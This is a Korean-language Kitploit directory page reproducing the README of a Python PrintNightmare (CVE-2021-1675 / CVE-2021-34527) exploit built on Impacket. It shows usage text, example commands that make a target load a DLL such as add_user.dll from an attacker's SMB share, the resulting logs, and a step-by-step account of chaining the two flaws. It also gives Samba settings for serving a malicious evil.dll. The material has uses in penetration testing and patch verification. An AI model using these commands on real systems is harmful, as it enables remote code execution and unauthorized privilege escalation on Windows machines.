Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ly4k/printnightmare
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPayload Development
GitHubly4k/printnightmare

PrintNightmare

PrintNightmare(CVE-2021-1675 / CVE-2021-34527)용 Python 구현

저장소 보기
213334년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PrintNightmare

Impacket을 사용한 PrintNightmare (CVE-2021-1675 / CVE-2021-34527) 파이썬 구현체입니다.

설치

root@kitploit:~
$ pip3 install impacket

사용법

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[도메인/]사용자이름[:비밀번호]@]<대상이름 또는 주소>

optional arguments:
  -h, --help            도움말 메시지를 출력하고 종료합니다.
  -debug                DEBUG 출력을 켭니다.
  -no-pass              비밀번호를 묻지 않습니다 (-k와 함께 유용).
  -k                    Kerberos 인증을 사용합니다. 대상 매개변수를 기반으로 ccache 파일(KRB5CCNAME)에서 자격 증명을 가져옵니다. 유효한 자격 증명을 찾을 수
                        없으면 명령줄에 지정된 자격 증명을 사용합니다.
  -dc-ip ip address     도메인 컨트롤러의 IP 주소입니다. 생략하면 대상 매개변수에 지정된 도메인 부분(FQDN)을 사용합니다.

connection:
  -port [destination port]
                        MS-RPRN 명명된 파이프에 연결할 대상 포트입니다.
  -target-ip ip address
                        대상 머신의 IP 주소입니다. 생략하면 대상으로 지정된 값을 사용합니다. 대상이 NetBIOS 이름이고 해석할 수 없을 때 유용합니다.

authentication:
  -hashes LMHASH:NTHASH
                        NTLM 해시, 형식은 LMHASH:NTHASH입니다.

driver:
  -name driver name     드라이버의 이름입니다.
  -env driver name      드라이버의 환경입니다.
  -path driver path     드라이버의 경로입니다.
  -dll driver dll       DLL의 경로입니다.

modes:
  -check                대상이 취약한지 확인합니다.
  -list                 기존 프린터 드라이버를 나열합니다.
  -delete               프린터 드라이버를 삭제합니다.

예제

익스플로잇

원격 DLL
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
로컬 DLL
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

로컬 DLL 예제는 DLL을 복사하기 위해 CVE-2021-34527을 악용하지 않는다는 점에 유의하세요.

사용자 정의 이름
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

대상이 취약한지 확인

패치되지 않은 Windows 10
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
패치된 Windows Server 2022
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

현재 프린터 드라이버 목록

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

프린터 드라이버 삭제

관리자 권한이 필요할 수 있습니다.

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

세부 사항

PrintNightmare는 두 가지 CVE로 구성됩니다: CVE-2021-1675 / CVE-2021-34527.

CVE-2021-1675

비관리자는 새 프린터 드라이버를 추가할 수 있습니다. 이 취약점은 관리자만 새 프린터 드라이버를 추가할 수 있도록 하여 수정되었습니다. 패치된 프린터 스풀러 버전은 비관리자가 새 프린터 드라이버를 추가하려고 하면 RPC_E_ACCESS_DENIED (코드: 0x8001011b)를 반환합니다.

CVE-2021-34527

새 프린터 드라이버를 추가할 때, DRIVER_CONTAINER의 pDataFile 매개변수는 UNC 경로를 허용합니다. 그러나 pDataFile에 지정된 DLL은 로드되지 않지만, 로컬 경로로 복사되어 pConfigFile 매개변수가 로컬 경로를 가리키는 새 프린터 드라이버를 생성할 수 있게 하여 DLL을 로드합니다. 패치된 프린터 스풀러 버전은 ERROR_INVALID_PARAMETER (코드: 0x57)를 반환합니다.

조각들을 결합하기

악의적인 DLL이 이미 대상에 있는 경우 CVE-2021-1675만 필요합니다.

PrintNightmare의 경우, DLL이 로컬 경로가 아니라면 CVE-2021-34527을 사용하여 UNC 경로를 통해 DLL을 가져올 수 있습니다. 그러기 위해서는 DLL을 SMB로 제공해야 합니다. SMB와 UNC에 익숙하지 않다면 다음 하위 섹션을 읽어보세요.

새 프린터 드라이버를 생성할 때 pDataFile 매개변수의 DLL은 보안상의 이유로 로드되지 않습니다. 하지만 C:\Windows\system32\spool\drivers\x64\3\로 복사됩니다. 그런 다음 로컬 경로와 함께 pConfigFile을 사용하는 새 프린터 드라이버를 생성할 수 있습니다 (DLL을 로드함). 그러나 첫 번째 프린터 드라이버를 생성할 때 DLL이 사용 중이므로, 두 번째 프린터 드라이버를 생성할 때 첫 번째 프린터 드라이버를 덮어쓸 수 있습니다. 그러면 프린터 드라이버의 DLL이 C:\Windows\system32\spool\drivers\x64\3\old\<I>\로 복사됩니다. 여기서 <I>는 DLL마다 증가합니다. 이제 DLL이 더 이상 사용되지 않으므로 로컬 경로 C:\Windows\system32\spool\drivers\x64\3\old\<I>\를 사용하는 세 번째 프린터 드라이버를 생성할 수 있습니다. 이제 <I>를 추측하는 문제만 남았으며, 1부터 증가하기 시작합니다.

DLL은 로컬에서 파일 이름을 유지합니다. 따라서 처음에 foo.dll로 익스플로잇을 실행하여 C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll에 저장되고, 그런 다음 로컬에서 foo.dll의 내용을 변경하고 익스플로잇을 다시 실행하여 이제 C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll에 저장된다면, 원래 foo.dll이 C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll에 있으므로 계속 사용됩니다. 대신 DLL 내용을 변경할 때는 파일 이름을 간단히 변경하세요.

SMB 및 UNC

요약하자면, UNC 경로는 로컬 파일이 아닌 네트워크 상의 파일이나 폴더에 대한 경로이며, 서버 이름과 경로를 포함합니다. 예를 들어 UNC 경로 \\10.0.0.2\files\foo.txt는 서버 10.0.0.2의 files 공유에서 제공되는 foo.txt 파일입니다. 일반적으로 공유는 SMB를 통해 제공되지만 WebDAV도 지원됩니다. Linux에서 SMB 공유를 생성하는 가장 쉽고 신뢰할 수 있는 방법은 Samba 패키지를 사용하는 것입니다.

apt로 Samba를 설치하려면:

root@kitploit:~
$ sudo apt install samba

/etc/samba/smb.conf 파일을 편집하고 파일 끝에 다음을 추가하세요:

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

이렇게 하면 smb라는 새 공유가 생성되고 /tmp/share 안의 파일이 제공됩니다. 익명 액세스를 허용하며, 로컬 사용자 nobody가 파일을 탐색하는 데 사용됩니다.

그런 다음 Samba 서비스를 시작합니다:

root@kitploit:~
$ sudo service smbd start

Linux 머신의 IP가 192.168.1.100이고 evil.dll을 제공하려는 경우, 이 시나리오에서 UNC 경로는 \\192.168.1.100\smb\evil.dll이 됩니다.

저자

  • @ly4k

크레딧

  • @cube0x0의 구현
  • Impacket
도구 다운로드